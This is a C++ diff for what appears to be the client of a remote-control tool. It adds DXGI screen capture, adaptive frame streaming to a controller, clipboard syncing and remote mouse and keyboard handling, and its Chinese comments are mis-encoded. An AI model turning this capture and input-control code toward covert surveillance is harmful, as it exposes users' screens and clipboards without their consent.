ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
|
||||
m_GOP = gop;
|
||||
InitDXGI();
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
}
|
||||
|
||||
~ScreenCapturerDXGI() {
|
||||
CleanupDXGI();
|
||||
|
||||
SAFE_DELETE_ARRAY(m_FirstBuffer);
|
||||
SAFE_DELETE_ARRAY(m_NextBuffer);
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
}
|
||||
|
||||
void InitDXGI() {
|
||||
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
IDXGIDevice * dxgiDevice = nullptr;
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
|
||||
do {
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
if(!dxgiDevice)break;
|
||||
|
||||
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
if (!dxgiAdapter)break;
|
||||
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
if (!dxgiOutput)break;
|
||||
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
if (!dxgiOutput1)break;
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
if (!deskDupl)break;
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
} while (false);
|
||||
|
||||
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
if (dxgiOutput1) dxgiOutput1->Release();
|
||||
if (dxgiOutput) dxgiOutput->Release();
|
||||
if (dxgiAdapter) dxgiAdapter->Release();
|
||||
if (dxgiDevice) dxgiDevice->Release();
|
||||
}
|
||||
|
||||
bool IsInitSucceed() const {
|
||||
return cpuTexture;
|
||||
}
|
||||
|
||||
void CleanupDXGI() {
|
||||
if (cpuTexture) cpuTexture->Release();
|
||||
if (deskDupl) deskDupl->Release();
|
||||
if (d3dContext) d3dContext->Release();
|
||||
if (d3dDevice) d3dDevice->Release();
|
||||
}
|
||||
|
||||
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override {
|
||||
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
LPBYTE ScanNextScreen() override {
|
||||
ULONG ulNextScreenLength = 0;
|
||||
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
return m_NextBuffer;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
return m_FirstBuffer + 1;
|
||||
}
|
||||
|
||||
private:
|
||||
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) {
|
||||
// 1. <20><>ȡ<EFBFBD><C8A1>һ֡
|
||||
IDXGIResource* desktopResource = nullptr;
|
||||
DXGI_OUTDUPL_FRAME_INFO frameInfo;
|
||||
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
|
||||
if (FAILED(hr)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 2. <20><>ȡ ID3D11Texture2D
|
||||
ID3D11Texture2D* texture = nullptr;
|
||||
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
|
||||
if (FAILED(hr)) {
|
||||
deskDupl->ReleaseFrame();
|
||||
return -2;
|
||||
}
|
||||
|
||||
// 3. <20><><EFBFBD>Ƶ<EFBFBD> CPU <20><><EFBFBD><EFBFBD>
|
||||
d3dContext->CopyResource(cpuTexture, texture);
|
||||
|
||||
// 4. <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
deskDupl->ReleaseFrame();
|
||||
texture->Release();
|
||||
desktopResource->Release();
|
||||
|
||||
// 5. <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_MAPPED_SUBRESOURCE mapped;
|
||||
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
|
||||
if (FAILED(hr)) {
|
||||
return -3;
|
||||
}
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ת<EFBFBD><D7AA>
|
||||
BYTE* pData = (BYTE*)mapped.pData;
|
||||
int rowSize = m_ulFullWidth * 4; // ÿ<>е<EFBFBD><D0B5>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>RGBA<42><41>
|
||||
|
||||
for (int y = 0; y < m_ulFullHeight; y++) {
|
||||
// <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD>껺<EFBFBD><EABBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3>ӵײ<D3B5><D7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize;
|
||||
int srcIndex = y * mapped.RowPitch; // Direct3D <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
memcpy(buffer + destIndex, pData + srcIndex, rowSize);
|
||||
}
|
||||
|
||||
// 7. <20><><EFBFBD><EFBFBD>
|
||||
d3dContext->Unmap(cpuTexture, 0);
|
||||
|
||||
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
@@ -12,7 +12,9 @@
|
||||
#include <WinUser.h>
|
||||
#endif
|
||||
#include <time.h>
|
||||
using namespace std;
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapturerDXGI.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -21,14 +23,58 @@ using namespace std;
|
||||
#define WM_MOUSEWHEEL 0x020A
|
||||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
bool IsWindows8orHigher() {
|
||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hMod) return false;
|
||||
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (!rtlGetVersion) return false;
|
||||
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
if (rtlGetVersion(&rovi) == 0) {
|
||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
|
||||
m_ScreenSpyObject = new CScreenSpy(16);
|
||||
int DXGI = 0;
|
||||
BYTE algo = ALGORITHM_DIFF;
|
||||
if (!(user == NULL || (int)user == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
if (param) {
|
||||
DXGI = param->buffer[0];
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
delete param;
|
||||
}
|
||||
} else {
|
||||
DXGI = (int)user;
|
||||
}
|
||||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||||
if ((1==DXGI && IsWindows8orHigher()))
|
||||
{
|
||||
auto s = new ScreenCapturerDXGI(algo);
|
||||
if (s->IsInitSucceed()) {
|
||||
m_ScreenSpyObject = s;
|
||||
}
|
||||
else {
|
||||
SAFE_DELETE(s);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
}
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
|
||||
@@ -36,44 +82,75 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
CScreenManager *This = (CScreenManager *)lParam;
|
||||
|
||||
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
This->WaitForDialogOpen();
|
||||
|
||||
clock_t last = clock();
|
||||
This->SendFirstScreen();
|
||||
const int fps = 10;// ֡<><D6A1>
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#elif USING_LZ4
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#else
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
|
||||
float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
|
||||
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
ULONG ulNextSendLength = 0;
|
||||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (szBuffer)
|
||||
{
|
||||
int span = sleep-(clock() - last);
|
||||
s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
|
||||
s0 = min(s0, 1000);
|
||||
int span = s0-(clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
|
||||
{
|
||||
c2 = 0;
|
||||
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
|
||||
c1 = 0;
|
||||
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
delete[] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
cout<<"ScreenWorkThread Exit\n";
|
||||
timeEndPeriod(1);
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
VOID CScreenManager::SendBitMapInfor()
|
||||
VOID CScreenManager::SendBitMapInfo()
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
||||
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
@@ -83,7 +160,7 @@ VOID CScreenManager::SendBitMapInfor()
|
||||
|
||||
CScreenManager::~CScreenManager()
|
||||
{
|
||||
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
|
||||
@@ -93,7 +170,7 @@ CScreenManager::~CScreenManager()
|
||||
CloseHandle(m_hWorkThread);
|
||||
}
|
||||
|
||||
delete[] m_ScreenSpyObject;
|
||||
delete m_ScreenSpyObject;
|
||||
m_ScreenSpyObject = NULL;
|
||||
}
|
||||
|
||||
@@ -145,10 +222,12 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||||
if (hGlobal != NULL) {
|
||||
|
||||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||
if (szClipboardVirtualAddress == NULL)
|
||||
return;
|
||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||
GlobalUnlock(hGlobal);
|
||||
SetClipboardData(CF_TEXT, hGlobal);
|
||||
GlobalFree(hGlobal);
|
||||
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
@@ -163,7 +242,7 @@ VOID CScreenManager::SendClientClipboard()
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
size_t iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
|
||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||
|
||||
@@ -179,30 +258,18 @@ VOID CScreenManager::SendClientClipboard()
|
||||
|
||||
VOID CScreenManager::SendFirstScreen()
|
||||
{
|
||||
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
|
||||
if (FirstScreenData == NULL)
|
||||
ULONG ulFirstSendLength = 0;
|
||||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
|
||||
if (ulFirstSendLength == 0 || FirstScreenData == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||||
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
|
||||
|
||||
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||||
|
||||
delete [] szBuffer;
|
||||
|
||||
szBuffer = NULL;
|
||||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||
}
|
||||
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
{
|
||||
AUTO_TICK(5);
|
||||
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||
|
||||
if (ulNextSendLength == 0 || NextScreenData == NULL)
|
||||
@@ -210,14 +277,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ulNextSendLength += 1;
|
||||
|
||||
char* szBuffer = new char[ulNextSendLength];
|
||||
|
||||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||
|
||||
return szBuffer;
|
||||
return (char*)NextScreenData;
|
||||
}
|
||||
|
||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||
@@ -227,17 +287,24 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength
|
||||
|
||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||||
if (ulLength % sizeof(MSG) != 0)
|
||||
return;
|
||||
int msgSize = sizeof(MSG64);
|
||||
if (ulLength % 28 == 0) // 32λ<32><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64λ<34><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
msgSize = 48;
|
||||
else return; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ULONG ulMsgCount = ulLength / sizeof(MSG);
|
||||
ULONG ulMsgCount = ulLength / msgSize;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < ulMsgCount; ++i)
|
||||
BYTE* ptr = szBuffer;
|
||||
MSG32 msg32;
|
||||
MSG64 msg64;
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
|
||||
{
|
||||
MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG));
|
||||
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
|
||||
(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (Msg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
@@ -253,11 +320,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
POINT Point;
|
||||
Point.x = LOWORD(Msg->lParam);
|
||||
Point.y = HIWORD(Msg->lParam);
|
||||
if(m_ScreenSpyObject->m_bZoomed)
|
||||
{
|
||||
Point.x *= m_ScreenSpyObject->m_wZoom;
|
||||
Point.y *= m_ScreenSpyObject->m_hZoom;
|
||||
}
|
||||
m_ScreenSpyObject->PointConversion(Point);
|
||||
SetCursorPos(Point.x, Point.y);
|
||||
SetCapture(WindowFromPoint(Point));
|
||||
}
|
||||
|
||||
@@ -11,21 +11,22 @@
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
CScreenManager(IOCPClient* ClientObject, int n);
|
||||
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID SendBitMapInfor();
|
||||
VOID SendBitMapInfo();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
CScreenSpy* m_ScreenSpyObject;
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
VOID SendFirstScreen();
|
||||
const char* GetNextScreen(ULONG &ulNextSendLength);
|
||||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||||
|
||||
@@ -11,62 +11,55 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
|
||||
{
|
||||
m_bAlgorithm = ALGORITHM_DIFF;
|
||||
m_dwBitBltRop = SRCCOPY;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
switch (ulbiBitCount)
|
||||
{
|
||||
case 16:
|
||||
case 32:
|
||||
m_ulbiBitCount = ulbiBitCount;
|
||||
break;
|
||||
default:
|
||||
m_ulbiBitCount = 16;
|
||||
}
|
||||
m_GOP = gop;
|
||||
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||
|
||||
m_BitmapInfor_Full = new BITMAPINFO();
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);
|
||||
BitmapInforHeader->biWidth = m_ulFullWidth; //1080
|
||||
BitmapInforHeader->biHeight = m_ulFullHeight; //1920
|
||||
BitmapInforHeader->biPlanes = 1;
|
||||
BitmapInforHeader->biBitCount = ulbiBitCount; //ͨ<><CDA8>Ϊ32
|
||||
BitmapInforHeader->biCompression = BI_RGB;
|
||||
BitmapInforHeader->biSizeImage =
|
||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
|
||||
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||
DEVMODE devmode;
|
||||
memset(&devmode, 0, sizeof (devmode));
|
||||
devmode.dmSize = sizeof(DEVMODE);
|
||||
devmode.dmDriverExtra = 0;
|
||||
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||
m_ulFullWidth = devmode.dmPelsWidth;
|
||||
m_ulFullHeight = devmode.dmPelsHeight;
|
||||
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
|
||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
||||
